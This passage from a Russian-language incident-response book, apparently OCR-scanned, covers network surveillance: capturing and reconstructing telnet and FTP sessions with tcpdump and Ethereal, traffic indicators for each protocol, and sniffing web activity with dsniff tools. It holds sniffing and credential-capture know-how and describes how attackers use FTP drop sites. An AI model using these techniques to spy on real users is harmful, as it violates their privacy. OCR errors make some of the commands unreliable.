23) 23:54:45.417130 192.168.0.111.1054 > 192.168.0.200.23:
. ack 1 win 17520 (DF)
24) (ttl 128, id 702)
25)
4500 0028 02be 4000 8006 758a c0a8 006f
26)
c0a8 00c8 041e 0017 935b 69ba 056a 1478
27)
5010 4470 cdaf 0000 0000 0000 0000
Этот перехват показывает два пакета ARP в начале и трехстороннее кви-
тирование TCP, которое начинает сеанс telnet. Пакет 1 является широкове-
щательным пакетом ARP (они все являются широковещанием), запрашива-
ющим любого с IP адресом 192.168.0.200 (сервер telnet) отозваться
192.168.0.111 (клиенту telnet). Пакет 2 является пакетом ответа АКР от
192.168.0.200, который сообщает системе, где выполняется клиент telnet,
физический МАС адрес сервера telnet. Соединение может быть установле-
но. Строка 8 показывает начальный пакет SYN от клиента telnet, который
говорит "я хочу соединиться" с портом 23 на машине сервера. Строки 13 и
14 показывают ответ SYN ACK от сервера telnet. Отметим, что строки 18 и
19 являются тем же самым пакетом SYN ACK с уменьшенным TTL.
Наш сетевой анализатор дважды перехватывает пакет, потому что он
был послан дважды. Можно сказать, что это тот же пакет, посланный дваж-
ды, просматривая поле идентификации IP, которое показывает 0 для обоих
пакетов. Строка 23 показывает возвращаемый пакет АСК от клиента telnet,
успешно устанавливая TCP соединение с портом 23. Но просматривать все
это в шестнадцатеричном формате будет неудобно. Чтобы доказать подоб-
ное утверждение, обратимся к разделу шестнадцатеричного дампа, кото-
рый содержит текст:
23:55:04.114602 192.168.0.200.23 > 192.168.0.111.1054: Р 34:126(92)
ack 50 win 32120 (DF) (ttl 64, id 15)
. 4500 0084 OOOf 4000 4006 b7dd c0a8 00c8
c0a8 006f 0017 041e 056a 1499 035b 69eb
5018 7d78 44fa 0000 fffe 01ff fb01 5765
6c63 6f6d 6520 746f 2063 6f6e 616e OdOa
4c69 6e75 7820 4d61 6e64 7261 6b65 2072
656c 6561 7365 2037 2e30 2028 4169 7229
OdOa 4b65 726e 656c 2032 2e32 2o31 342dl

186
Глава i
3135 6d64 6b66 6220 6f6e 2061 6e20 6936
3836 OdOa
He существует простого способа определить, что мы здесь видим. К нам
на помощь приходит asctcpdump.pl. Этот сценарий Perl транслирует все
шестнадцатеричные значения в соответствующие ASCII значения, чтобы
человек мог их прочитать. Просматривая приведенный выше пакет с помо-
щью asctcpdump.pl, вы видите следующее:
asctcpdump.pl  х  v  г telnet1.bin | less
23:55:04.114602 192.168.0.200.23 > 192.168.0.111.1054: Р 34:126(92)
аск 50 win 32120 (DF) (ttl 64, Id 15)
4500 0084 000f 4000 4006 b7dd c0a8 00c8 E @.§
c0a8 006f 0017 041e 056a 1499 935b 69eb ...o j...[i.
5018 7d78 44fa 0000 fffe 01ff fb01 5765 p. }xD
We
6c63 6f6d 6520 746f 2063 6f6e 616e OdOa lcome to conan..
4c69 6e75 7820 4d61 6e64 7261 6b65 2072 Linux Mandrake r
656c 6561 7365 2037 2e30 2028 4169 7229 elease 7.0 (Air)
OdOa 4b65 726e 656c 2032 2e32 2e31 342d ..Kernel 2.2.14
3135 6d64 6b66 6220 6f6e 2061 6e20 6936 15mdkfb on an i6
3836 OdOa
86. .
Теперь можно сказать, что этот пакет от сервера telnet и содержит испо-
льзуемое по умолчанию приветствие при регистрации для клиента telnet.
Имейте в виду, что командная строка для использования asctcpdump.pl яв-
ляется идентичной tcpdump. asctcpdump.pl просто вызывает реальную про-
грамму tcpdump. Более новые версии tcpdump также могут транслировать
шестнадцатеричные значения в значения ASCII.
ВНИМАНИЕ Если asctcpdump.pl кажется не работающей, проверьте, что про-
грамма tcpdump находится в пути доступа, asctcpdump.pl можно
модифицировать также для работы с WinDump. Хорошей идеей бу-
дет поместить WinDump и ascwindump.pl в каталоге %systemroot%/
winnt/system32 или другом каталоге, доступном в пути доступа.
Таким образом можно выполнять ascwindump.pl или asctcpdump.pl
из любого каталога в сети.
Всякий раз, когда мы показываем детали шестнадцатеричного дампа, мы
имеем для этого вполне разумные причины. Дело в том, что можно узнать
очень много из рассмотрения этих уродливых, низкоуровневых данных
протокола.
Начнем с того, что через сеть проходит огромный объем данных. В на-
шем примере были выполнены только три команды во время сеанса telnet,
а шестнадцатеричный дамп трафика охватывает более 90 пакетов и 10 стра-
ниц данных. Мы намеренно выполнили команды с небольшими результата-
ми, чтобы сохранить перехват пакетов небольшим. Каким бы большим объ-
емом не казались 90 пакетов, это без преувеличения составляет 0.001%
трафика, который видят большинство системных администраторов (или
нет) в течение часа.

Выполнение сетевого наблюдения
187
Каждый протокол ведет себя по разному. Telnet является одним из са-
мых простых протоколов для мониторинга, так как он посылает свои
команды в виде последовательности нажатий клавиш; другие протоколы
действуют не так. Тем не менее с помощью интуиции и исследовательского
отношения можно в значительной степени вскрыть код каждого протокола,
который встретится.
Так как анализаторы протоколов с симпатичным графическим интерфей-
сом могут быть неспособны воспроизвести весь трафик, который может
встретиться, сценарий asctcpdump.pl или аналогичный инструмент может
оказаться очень кстати. Некоторые анализаторы протоколов с графическим
интерфейсом воспроизводят весь трафик на определенный порт с подполя
ми ожидаемого протокола. Например, Ethereal воспроизводит весь трафик
порта 53 как если бы он был трафиком DNS, где содержимое пакетов являет-
ся запросами DNS.
Многие анализаторы протоколов позволяют просматривать содержи-
мое только одного пакета за раз во время низкоуровневого анализа. С дру-
гой стороны, tcpdump, snoop, WinDump и asctcpdump.pl позволяют про-
сматривать захваченные данные в непрерывном и простом движении.
Лучше избежать двойного нажатия клавиши, чтобы увидеть шестнадцате
ричное содержимое пакета.
Наконец, высокоуровневые анализаторы могут удалить важные данные,
которые предоставляют низкоуровневые шестнадцатеричные дампы. Вам
будет полезно знать, какие данные игнорируются высокоуровневыми ана-
лизаторами. Вот некоторые рекомендации:
Переменная X Display передается во время согласования telnet. Эта
переменная содержит имя хоста или IP адрес X сервера соединяю-
щейся машины, если такой имеется. Поэтому можно получить имя хо-
ста или IP адрес машины, выполняющей клиент telnet. Такая
переменная может предоставить удаленный IP адрес или имя хоста
машины, даже когда система расположена за маршрутизатором, осу-
ществляющим трансляцию сетевых адресов (NAT). Можно также
определить, когда несколько атакующих используют telnet для соеди-
нения с машиной: если один и тот же IP адрес источника системы
NAT постоянно появляется в мониторе, а вы видите только одну пе-
ременную X Display в своем перехвате, то скорее всего одна машина
атакует из за транслирующего маршрутизатора.
Переменная окружения PRINTER передается во время согласования
telnet. Часто имя принтера (и используемый язык) может помочь
определить истинную страну начала атаки.
Можно определить с точностью до микросекунд (это шесть десяти
чных знаков), как быстро печатает человек. В некоторых случаях это
является ключевой исследовательской уликой. Предположим, что со
вершающий поездку профессор Дж. Смит обращается удаленным об
разом к учетной записи jsmith. Разумно предположить, что он будет
получать доступ к учетной записи своего провайдера Интернета из
диапазон IP адресов для коммутироемого доступа. А если атакующий

188
Глава 7
постоянно обращается к машине профессора через того же провайде-
ра и тот же диапазон IP адресов ? Можно ли каким то образом разли-
чить эти два пути доступа? Это можно сделать на основе переменных
окружения, передаваемых во время согласования протокола, исполь-
зуемых команд, манеры их применения (ls  al или ls  la) и скорости, с
которой они их вводят. Большинство типичных пользователей не меня-
ют ни синтаксис своих команд, ни скорость, с которой они их вводят.
Многие параметры и поля являются специфическими для каждой
операционной системы. Вы можете проверить захваченный файл,
чтобы определить операционную систему машины, которая соединя-
ется с сервером telnet (и обычно также все остальные службы, но со-
гласование telnet действительно выдает операционную систему
клиента). Почему это так важно? Вот сценарий, который иллюстриру-
ет, как идентификация операционной системы источника оказывает-
ся полезной. Джон и Боб --- братья. Один использует Windows, a
другой Linux, но они оба совместно применяют одну учетную запись
коммутируемого доступа. Если эта учетная запись незаконно много
раз соединяется с армейскими машинами, то пассивное определение
ОС может обвинить в преступлении одного из братьев на основе ОС.
Воспроизведение сеанса telnet
Конечно, существует более удобный способ просмотра этого трафика te
lent. Можно использовать Ethereal для трансляции двоичного захваченного
файла в понятную форму. Запустите Ethereal и откройте двоичный захва-
ченный файл, который хотите просмотреть. Когда вы увидите трехуровне-
вое окно Ethereal, заполненное перехваченными данными, вы может выде-
лить любой пакет TCP в верхнем окне. Помните, что при выполнении
перехвата файлы перехвата становятся большими и содержат сотни сеан-
сов telnet, FTP, HTTP и др. Поэтому возможность Ethereal создавать сеанс
из всего остального сетевого шума является важной для эффективного ис-
пользования времени и разрешения исследуемого случая. Ethereal может
воспроизвести поток TCP, который содержит выбранный пакет.
На рис. 7.2 показано, как просматривается поток TCP в Ethereal. После
выделения пакета выберите Tools | Follow TCP Stream, чтобы увидеть сеанс
TCP, который включает выделенный пакет.
На рис. 7.3 представлено воспроизведение или реконструкция сеанса
TCP, который содержит выделенный пакет (номер 3).
Наконец, можно прочитать то, что происходит во время этого сеанса
telnet с помощью Ethereal. На рис. 7.3 видно, что кто то вошел в систему как
пользователь jsmith с паролем dude. Пользователь выполнил команды pwd,
w и exit. (Конечно, необходимо понимать базовые команды UNIX, чтобы
иметь возможность интерпретировать любой сеанс telnet.)
Несмотря на то, что воспроизведение является слегка беспорядочным,
Ethereal предоставляет достаточно информации, чтобы сделать исследова-
тельские выводы и следовать техническим указаниям. Если это будет жур-
нал наблюдения реального нарушителя, вы, возможно, захотите сохранить

Рис. 7.2. Рассмотрение потоков TCP с помощью Ethereal
Рис. 7.З. Воспроизведение сеанса telnet с помощью Ethereal

190
Глава 7
воспроизведенный сеанс telnet в текстовом файле и создать контрольную
сумму с помощью утилиты md5sum. Вы можете захотеть, чтобы кто нибудь
засвидетельствовал получение вами журналов и создание хеш значения
md5. Чем больше людей, которые могут проверить аутентичность сетевых
журналов, тем лучше.
Отметим, что Ethereal позволяет просматривать значения дампа в ASCII,
EBCDIC (Extended Binary Coded Decimal Interchange Code) или в шестнадца
теричном формате. Поверите вы в это или нет, но однажды вы сможете уз-
нать очень много при рассмотрении шестнадцатеричного дампа. Мы счита-
ем шестнадцатеричный дамп полезным, потому что он предоставляет много
низкоуровневых характеристик клиентской или серверной машины. Инст-
рументы, которые недоступны коммерческим путем или бесплатно, такие
как NIDS (Department of Energy's Network Intrusion Detections Systems), вос-
производят потоки TCP в четком, более понятном формате.
ВНИМАНИЕ Вас может интересовать, почему символы в каждой команде UNIX,
такие как pwd, повторяются дважды в показанном выше файле пе-
рехвата. Это происходит благодаря эхо повтору от сервера telnet.
Когда пользователь вводит р из команды pwd, клиент посылает сим-
вол серверу, не выводя его на экран клиента. Это первый символ р,
представленный в воспроизведении сеанса. Так как клиент telnet не
записывает символ на экран, то на ответственности сервера нарисо-
вать р на экране клиента. Этот второй символ р сервер посылает в
качестве эхо ответа клиенту, чтобы он был изображен. Те читатели,
которые помнят медленные модемы и учетные записи оболочек ком-
мутируемого доступа, несомненно помнят, что ввод слов происходил
быстрее, чем мог ответить сервер telnet.
Распознавание трафика Telnet
Важно распознавать трафик telnet без опоры на используемые номера пор-
тов. Атакующие обычно настраивают серверы telnet для неавторизованно-
го входа на нестандартный порт (например, порт 80 или порт 110), чтобы
обойти брандмауэры и системы обнаружения вторжений. В долгосрочном
плане вы не можете полагаться только на порты для заключения о типе
просматриваемого трафика.
Вот несколько индикаторов трафика telnet:
Трафик является незашифрованным
Сеанс начинает трехходовое квитирование TCP (SYN, SYN ACK, АСК).
Вы видите следующее в перехваченном обычном тексте трафика TCP
независимо от используемого порта.
"Password" Приглашение ввода пароля для регистрации.
"]$" Вызов приглашения оболочки.
"DISPLAY" Передача переменной DISPLAY от клиента серверу.
"Last login:" Сообщение о последней регистрации.
"logout" Время выхода пользователя из сеанса telnet.

Выполнение сетевого наблюдения
191
Мониторинг протокола передачи файлов (FTP)
Протокол передачи файлов (FTP --- File Transfer Protocol) позволяет пользо-
вателям копировать файлы с удаленных систем в Интернете на свои собст-
венные системы. Одной из наиболее широко используемых служб Интерне-
га является анонимная FTP, которая позволяет отправку и/или получение
файлов на машинах без пароля или аутентификации пользователя. Она от-
личается от таких протоколов как NFS и SMB (NetBIOS), предоставляющих
клиентским программам прозрачный доступ к файлам с сервера. Машины
UNIX, а также Windows NT Server и Windows 2000 Server поставляются с пол-
нофункциональным сервером FTP. Многочисленные бесплатно доступные
серверы FTP для систем Windows 9x легко настраиваются. Для инициирова-
ния сеанса FTP требуется только IP адрес или имя хоста сервера. Следующая
командная строка используется для соединения с сервером ftp:
[root@homer /root]# ftp 192.168.0.10
[root@homer /root]# ftp shell1.martnet.com
По умолчанию соединение будет устанавливаться с портом 23 на удален-
ной машине. Чтобы выбрать другой порт, надо добавить желательный но-
мер порта после места назначения следующим образом:
[root@homer /root]# ftp 192.168.0.10 4444
Эта команда попытается установить соединение ftp с портом 4444.
Как выглядит сеанс FTP
Следующий код напоминает тот, который вы увидите при инициировании
сеанса FTP с другой машиной:
[root@homer /root]# ftp 192.168.0.111
Connected to 192.168.0.111.
220 conan FTP server (Version wu 2.6.0(1)
Tue Jan 4 19:41:20 GMT 2000) ready.
Name (192.168.0.111:root): jsmith.
331 Password required for jsmith.
Password:
230 User jsmith logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> Is  al
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/Is.
total 211
drwx
8 jsmith jsmith 1024 Dec 9 14:24 .
drwxr xr x 10 root root
1024 Nov 28 23:15 ..
 rw r--- r--- 1 jsmith jsmith 1899 Aug 18 14:53 .Xdefaults
 rw
i root root
12540 Nov 20 13:43 .bash_history
 rw r--- r  1 jsmith jsmith
24 Aug 18 14:53 . bash_logout
 rw r  r--- 1 jsmith jsmith 230 Aug 18 14:53 ,bash_profile
 rw r  r  1 jsmith jsmith 559 Aug 18 14:53 .bashrc

192
Глава 7
 rw r--- г---
drwxr xr  x
 rw r---г---
 rw r--- r
drwxr xr x
 rw r r
 rw r r
 rw r r
drwxr xr x
drwxr xr x
drwxrwxrwx
 rwxr xr x
drwxr xr x
1 jsmith
4 jsmith
1 jsmith
1 jsmith
4 jsmith
1 jsmith
1 jsmith
1 jsmith
4 jsmith
2 root
2 root
1 root
2 jsmith
jsmith
jsmith
jsmith
jsmith
jsmith
jsmith
jsmith
jsmith
jsmith
root
root
root
jsmith
4044 Aug 18 14:53
1024 Aug 18 14:53
2096 Aug 18 14:53
185 Aug 18 14:53
1024 Aug 18 14:53
3394 Aug 18 14:53
3730 Aug 18 14:53
598 Aug 18 14:53
1024 Aug 18 14:53
.emacs
.kde
.kderc
.mailcap
.netscape
.screenrc
.vimrc
.zshrc
Oesktop
1024 Mar 27 2000 src
1024 Nov 12 17:07
169956 Dec 9 14:24
1024 Aug 18 14:53
taps
tcpdump
tmp
226 Transfer complete.
ftp> get tcpdump
local: tcpdump remote: tcpdump
200 PORT command successful.
150 Opening BINARY mode data connection for tcpdump (169956 bytes).
226 Transfer complete.
169956 bytes received in  0.0112 secs ( 1.5e+04 Kbytes/sec)
ftp> bye
221 You have transferred 169956 bytes in 1 files.
221 Total traffic for this session was 171795 bytes in 2 transfers.
221 Thank you for using the FTP service on conan.
221 Goodbye.
[root@homer /root]# exit
Пользователь соединяется с сервером FTP 192.168.0.111, вводит коман-
ду Is  al для перечисления содержимого каталога и затем извлекает файл
tcpdump.
Как атакующие используют FTP
FTP по прежнему является предпочтительным протоколом хакеров для исполь-
зования при загрузке своих наборов утилит на машины жертвы и выгрузке
или воровстве больших двоичных файлов с сайтов жертв. Общая схема со-
стоит в том, что нарушитель получает сначала доступ уровня пользователя к
машине жертве и затем загружает свой набор утилит и сетевые анализаторы,
переполнители локальных буферов, утилиты стирания журналов, серверы
черного хода и все остальное, что еще может ему понадобиться. В случае уда-
чи он организует инструментальный сайт (tool site) или присоединенный сайт
(drop site). На рис. 7.4 показано, как атакующий использует FTP.
"Зловредные" или незаконные серверы FTP используются также инсай-
дерами для создания сайтов, имеющих дело с торговлей или с продажей не
лицензированного программного обеспечения, и для продажи больших
файлов. С учетом того, как легко можно сконфигурировать FTP серверы и
как опасны они могут быть, если серверный доступ попадает в плохие руки,
рекомендуется осуществить поиск зловредных FTP серверов в сети. На
рис. 7.5 показана настройка популярного сервера WarFTPI), который слу-
шает порт 80, па компьютере с Windows.

Рис. 7.4. Как атакующий использует FTP
РИС. 7.5. Использование WarFTPD в качестве зловредного FTP сервера

194
Глава 7
Пример инцидента
Следующий сценарий иллюстрирует, как будет выполняться сетевое на-
блюдение за протоколом передачи файлов. Атакующий использует сис-
тему в вашей сети и инициирует зашифрованный канал команд. Он
обычно загружает свои инструменты для атаки на вашу систему жертву и
использует их для организации атаки на дополнительные нижележащие
жертвы. Он удаляет свои инструменты из системы, прежде чем вы може-
те их обнаружить. Вы решаете выполнить сетевое наблюдение для пере-
хвата инструментов атакующего, чтобы можно было изучить их работу.
Атакующий также инициирует соединения FTP С публичным серве-
ром FTP в местном университете. Он загружает файлы, которые крадет в
вашей системе на этот публичный FTP сервер университета (присоеди-
ненный сайт). Вы хотите проконтролировать, какие файлы атакующий
извлекает из вашей сети, чтобы можно было выполнить контроль по-
вреждений. Необходимо также проследить, какая информация была
украдена.
Перехват сеанса FTP
Когда речь идет о мониторинге, FTP оказывается странным животным. Он
действует на двух портах: команд и передачи данных. Двумя каналами явля-
ются обычно TCP порт 21 (канал команд) и порт 20 (канал данных). Боль-
шинство из нас думают о порте 21, когда речь идет о FTP, так как сервер FTP
обычно слушает на порте 21.
Однако вся передача данных происходит с порта 20 сервера FTP. Если
выполняется мониторинг только порта 21, то вы перехватите посланные
командные строки. Если вы контролируете порт 20 вместе с портом 21, вы
перехватите вывод посланных команд FTP, а также загруженные или выгру-
женные файлы. Когда вы перехватили переданные данные, можно восполь-
зоваться утилитой Ethereal для реконструкции данных в реальные загружен-
ные или выгруженные файлы. На рис. 7.6 показана работа сеанса FTP.

Выполнение сетевого наблюдения
195
Если целевая система использует нестандартные порты, номер порта
данных обычно бывает на единицу меньше, чем канал команд. Поэтому, на-
пример, если сервер FTP слушает на порте 80, то порт 79 становится пор-
том данных FTP для сервера. В этом случае заметим, что порт 79 не должен
использоваться другой программой, когда инициирован сервер FTP, так
как канал данных FTP не сможет связаться с портом, который он запраши-
вает, и сеансы FTP не будут правильно созданы. Бесплатно доступные и
условно бесплатно доступные серверы FTP для Windows также применяют
эфемерные порты в качестве своих портов данных, поэтому может оказать-
ся невозможной фильтрация на основе только номеров портов.
Если необходимо перехватить все соединения FTP в сегменте, исполь-
зуйте следующую командную строку:
tcpdump  х  v  n  s 1500  w ftpl.bin port 20 or port 21
Если необходимо перехватить все соединения FTP с определенным хос-
том (12.10.4.7), используйте следующую командную строку:
tcpdump  х  v  n  s 1500  w ftp2.bin host 12.10.4.7 and port 20 or port 21
В этой команде оператор or будет интерпретироваться первым. Поэто-
му, если пакет содержит порт 20 или порт 21, пакет инспектируется, чтобы
проверить, содержит он источник или место назначения хоста 12.10.4.7.
Воспроизведение сеанса FTP
Воспроизведение сеансов FTP является двухшаговым процессом:
1. Воспроизведение канала команд FTP для просмотра, какие коман-
ды атакующий послал на сервер FTP.
2. Реконструкция реальных файлов, которые были загружены или вы-
гружены.
Ethereal делает феноменальную работу при воспроизведении как канала
команд FTP, так и при реконструкции данных, которые пересылались.
Что может произойти
Вы подозреваете, что сотрудник настроил незаконный FTP сервер на
своем персональном компьютере на работе. Вы не разрешаете такие неза-
конные службы в сети. Ухудшает ситуацию подозрение, что этот сотрудник
предоставил имя пользователя и пароль конкурирующим компаниям и
средства для доступа и выгрузки файлов из вашей сети.
Где искать доказательства
Прежде всего необходимо инициировать сетевое наблюдение, просматри-
вая все соединения FTP с незаконным сервером FTP сотрудника. Если вы
перехватите канал команд FTP, вы узнаете имена файлов, которые нежела-
тельные пользователи выгружают или загружают на сервер FTP. Если вы
также перехватите канал данных, сможете точно воспроизвести загружен-
ные или выгруженные файлы. Поэтому, если кто то выгружает документ

196
Глава 7
Word из вашей сети, вы можете использовать Ethereal для реконструкции
этого документа Word, и затем просмотреть документ с помощью Microsoft
Word. При отсутствии необходимости догадываться о том, что содержит
файл, вы можете выполнить немедленную оценку ущерба.
Просматривая воспроизведение канала команд FTP, показанное на иллю-
страции, можно видеть, что FTP работает с несколькими сеансами (отдельны-
ми каналами коммуникации).
Вы не видите никаких приглашений FTP. Когда клиент посылает коман-
ду, можно видеть, что FTP транслирует команду пользователя в соответст-
вующую команду FTP. (Например, когда пользователь вводит ls  al для пере-
числения содержимого каталога, клиент FTP транслирует это в команду
FTP LIST. Когда пользователь вводит команду get для извлечения файла,
клиент FTP в действительности посылает команду FTP RETR серверу FTP.)
Отметим, что когда серверу FTP посылается команда LIST, вы не видите
результат, который получает пользователь от сервера FTP. Это связано с
тем, что сервер FTP инициирует совершенно отдельное соединение TCP
для отправки ответа на команды пользователя через канал данных.
На предыдущей иллюстрации можно также видеть, что пользователь
инициирует команду RETR и выгружает файл /Е/Воок/1 Intro.doc. Можно
также определить, что система 192.168.0.200 клиента FTP открывает отдель-
ный порт (называемый пассивным портом, так как он будет отвечать только

Выполнение сетевого наблюдения
197
на запросы от клиента ftp) для получения данных для каждого множества
данных, получаемых системой клиента FTP. Непосредственно перед тем,
как клиент FTP выгружает /Е/Воок/l Intro.doc, можно видеть, что
192.168.0.200 посылает команду PORT 192,168,0,200,4,22. Если вы хотите
реконструировать файл /Е/Воок/l Intro.doc, вы теперь знаете, что надо
искать соединение TCP, в котором система 192.168.0.200 использует номер
порта 1046 для получения данных.
Если кажется, что это требует большого объема работы и запоминания,
не забывайте, что расшифровка информации становится со временем лег-
че. Если снова посмотреть на рис. 7.6, вы увидите, что клиент всегда посы-
лает номер пассивного порта, на котором он хочет получать ответ сервера
FTР. Клиент использует формулу для задания серверу, на какой порт воз-
вращать данные: (256*4) + последний номер, посланный клиентом в коман-
де PORT --- в данном случае 22. В результате получаем 1146.
Перехватив весь трафик с сервера FTP на удаленный хост, вы можете
идентифицировать сеанс TCP, который пересылает файл /E/Book/1 Int
ro.doc. Проследите поток канала команд FTP и затем сохраните его в фай-
ле. Вы должны нажать кнопку Reset в Ethereal, прежде чем сможете снова
увидеть все перехваченные пакеты. Затем найдите трехходовое квитирова-
ние (SYN, SYN ACK, АСК) между сервером FTP и удаленным хостом, вы-
бравшим порт данных для передачи файла. Трехходовое квитирование
означает Начало передачи данных. Ethereal сможет воспроизвести поток
пересылки данных после идентификации пакетов, содержащихся в этом
потоке данных.
После воспроизведения соответствующего потока TCP, содержащего
файл, который вы хотите реконструировать, как показано на иллюстра-
ции, сохраните просто файл.
Теперь вы имеет дубликат файла, который был передан. Если это будет
исполнимый файл Windows, вы сможете его выполнить; если перед нами
документ Word, вы сможете открыть его в текстовом процессоре Word и
просмотреть его. Следующая иллюстрация показывает реконструкцию до
кумента Word вместе со встроенными в него макросами.

198
Глава 7
Распознавание FTP
Помните, что вы не можете полагаться на номера портов для заключения о
типе трафика, который просматриваете. Далее представлены несколько
индикаторов, которые можно отслеживать для определения, является ли
перехваченный трафик сеансом FTP:
Трафик является незашифрованным.
Присутствует квитирование TCP (SYN, SYN ACK, АСК).
Вы заметите серверные сообщения с 200 тыми номерами, которые
указывают, был ли файл передан успешно: "226 Передача завершена"
или "22ТВы передали 57676 байт в 2 файлах".
Следующие строки встречаются в большинстве сеансов FTP:
"USER" Клиент посылает имя пользователя серверу FTP.
"PASS" Клиент посылает пароль серверу FTP.
"PORT" Клиент сообщает серверу, на какой порт посылать данные.
"RETR" Клиент пытается выгрузить файл.
"Transfer Complete" (текстовые строки, которые присутствуют практи-
чески во всех сеансах ftp)

Выполнение сетевого наблюдения
19У
Мониторинг трафика Web
Меньшинство из вас используют Web и знакомы с ее свойствами. Клиент
скос программное обеспечение, такое как Microsoft Internet Explorer или
Netscape Navigator, применяется для соединения с Web серверами Apache
или Web сервером Microsoft IIS для просмотра содержимого Web сайта. В
Настоящее время Apache является наиболее распространенным Web серве
ром в Интернете, за ним по популярности следуют Web сервер Microsoft IIS
и Web сервер Netscape.
В недавнем журнальном отчете 63% из 250 опрошенных профессионалов
в области информационных технологий заявили, что их организации конт-
ролируют использование Web сотрудниками. Большинство корпораций, ко-
торые контролируют трафик Web, делают это с целью предотвращения неп-
риемлемого использования Интернета сотрудниками. Для борьбы с плохим
поведением сотрудников руководители высокого уровня начинают исполь-
зовать программное обеспечение мониторинга Web. Это программное обес-
печение следит за IP адресами, которые посещают сотрудники, и сравнива
ют адреса со списком "плохих IP".
Инструменты мониторинга
Использование SSL (Secure Sockets Layer --- протокол безопасного соедине-
ния) становится обычным для защиты информации в Web, однако достаточ-
но много трафика Web может быть легко доступно для злоумышленников.
Большая часть коммерческого программного обеспечения, такого как eTrust
IDS компании Computer Associates, прекрасно справляется с мониторингом
активных соединений HTTP и сетевой активности. Мы любим использовать
бесплатно доступные утилиты или утилиты GNU для мониторинга деятель-
ности в Web отдельных лиц. Двумя удобными бесплатно доступными утили-
тами, которые можно использовать для мониторинга обычных перемеще-
ний в Web, являются URLSnarf и webspy компании Dug Song. Обе утилиты ---
компоненты пакета Dsniff компании Song. Утилита webspy может использо-
ваться для контроля активности Web, которая направлена на посещение
определенного IP адреса. Вы просто выполняете браузер Web и webspy одно-
временно, и webspy будет перехватывать URL, которые посещает другой по-
льзователь в вашем сегменте сети. Утилита webspy автоматически направля-
ет ваш браузер на ту же Web страницу, которую посещает в данный момент
контролируемый пользователь.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Netnanny: http://www.netnanny.com
Cybersitter: http://www.solidoak.com/
Dug Song's Dsniff: http://www.monkey.org/ dugsong/dsniff/

200
Глава 7
ВНИМАНИЕ Вы можете предпринять многочисленные меры на хосте и в сети,
чтобы заблокировать доступ пользователей к определенным Web
сайтам. Netnanny и Cybersitter являются приложениями хоста, кото-
рые пытаются помешать пользователям соединиться с достаточно
большим списком "неподходящих" сайтов. Однако пользователи
могут обойти такие меры блокирования на хосте, отключая блокиру-
ющие приложения или используя почтовые серверы Web. Вы може-
те послать через e mail определенный URL, который вы хотите
увидеть, почтовому Web серверу, и сайт автоматически отправит
через e mail страницы HTML, которые вы хотите видеть, даже если
вы были заблокированы в своей сети.
Другой мощной утилитой в пакете dsniff является URLSnarf, используе-
мая для мониторинга всех Web сайтов и точных URL, которые были запро-
шены системой. Обратите внимание, что содержимое поля запроса, поля
удаленного хоста и поля агента пользователя записываются (см. рис. 7.7).
Эти поля имеют следственное значение. Можно указать точный браузер, ко-
торый делал запрос. Подобное часто может использоваться как подтвержда-
ющее доказательство, если будет обнаружено подозрительное поведение.
Тогда вы подтвердите, что использовался браузер, который был зарегистри-
рован в журнале.
Содержимое поля агента пользователя обычно содержит версию браузе-
ра и операционной системы посылающей машины. На рис. 7.7 можно ви-
деть, что используется браузер BA45DSL и операционная система хоста
Windows NT. Можно быть уверенным, что эти значения были зарегистри-
рованы также на удаленном Web сервере. BA45DSL соответствует версии
Netscape 4.5, который поставляется вместе с пакетом подписки DSL компа-
нии Bell Atlantic, используемом на этом сервере для доступа в Интернете.
Данный номер будет некой строкой, которую браузер автоматически пере-
дает во время фазы согласования с Web сервером.
Рис. 7.7. Использование URLSnarf для мониторинга активности в Web

Выполнение сетевого наблюдения
201
Как HTTP используется атакующими
Организации редко контролируют содержимое трафика HTTP. Это делает
HTTP прекрасным протоколом для использования атакующим для сокры-
тия устройства каналов информации. Хотя корпорации беспокоятся о том,
с какими сайтами соединяются их сотрудники, они редко обращают внима-
ние на содержимое трафика, который переносится между IP адресами, не
обозначенными как неподходящие.
ВНИМАНИЕ Мы хотели бы включить сетевые перехваты различных распростра-
ненных атак, таких как различные отказы в обслуживании (перепол-
нение SYN, атака Smurf), переполнения буфера (cmsd, ttdb, imapd) и
различные типы сканеров, но мы просто не можем включить все
типы перехватов в рамках этой книги. Наша цель состоит в созда-
нии последовательного подхода для выполнения базового сетевого
наблюдения. Большая часть интерпретации и выполняемой сетевой
судебной экспертизы будет личным опытом.
ИНТЕРПРЕТАЦИЯ СЕТЕВОЙ АТАКИ
Теперь давайте исследуем данные, которые получают при сетевом наблюде-
нии. Без быстрой, краткой интерпретации полученной информации, вы не
сможете обработать инцидент наиболее подходящим образом. Целями сете-
вого наблюдения являются подтверждение случая атаки и следование порядку
реагирования. Возможно, вы быстро защитите сайты, закрывая все дыры.
Правда, вы можете предпочесть выполнить сетевое наблюдение и подгото-
вить ситуацию для возможного криминального или гражданского обвинения.
В любом случае вы захотите принять решение на основе точной информации.
Что может произойти
Вы приходите на работу и обнаруживаете, что система обнаружения втор-
жений предупреждает об атаке. IDS выделила входящий сеанс telnet как ре-
зультат строк, которые сеанс передавал туда и обратно --- IDS распознала
атаку переполнения буфера. Вы раздражены возможностью неавторизован-
ного вторжения в сети вашей организации и решили подойти к данному во-
просу со всей ответственностью, чтобы проследить исполнителей этого от-
вратительного действия.
Где искать доказательства
Вы решили инициировать сетевое наблюдение, чтобы проверить, что ата-
ка происходит, и для наблюдения за действиями атакующего. Юридическая
служба вашей организации сообщила, что нарушитель предупрежден о се-
тевом мониторинге, так как система жертва использовала соответствующее
оповещение. Это дает вам право начать сетевое наблюдение на системе
жертве.

202
Глава 7
IDS показывает, что атакующий использовал службу Telnet, поэтому вы
решаете наблюдать за всем трафиком telnet и FTP на системе жертве. Вы вы-
полняете в своей сети tcpdump.
[root@sniffer root]tcpdump  x  v  i ethO  s 1500  w hacklog.bin
"host victim.com and port 23 or port 21 or port 20"
Эта командная строка приказывает системе перехватывать весь трафик
системы victim.com, который содержит порт источника или места назначе-
ния 20, 21 или 23.
Вы запускаете tcpdump для выполнения в течение четырех часов. Затем
решаете воспроизвести действия атакующего с помощью Ethereal. Вы замети-
ли, что атакующий применяет два протокола: FTP и Telnet. Так как они оба
являются нешифрованными протоколами, вы сможете реконструировать
действия атакующего во время соединения с системой жертвой. Ниже пока-
зано реконструированное соединение, показывающее действия атакующего:
Escape character is "^]"
Welcome to victim
Linux Mandrake release 7.0 (Air)
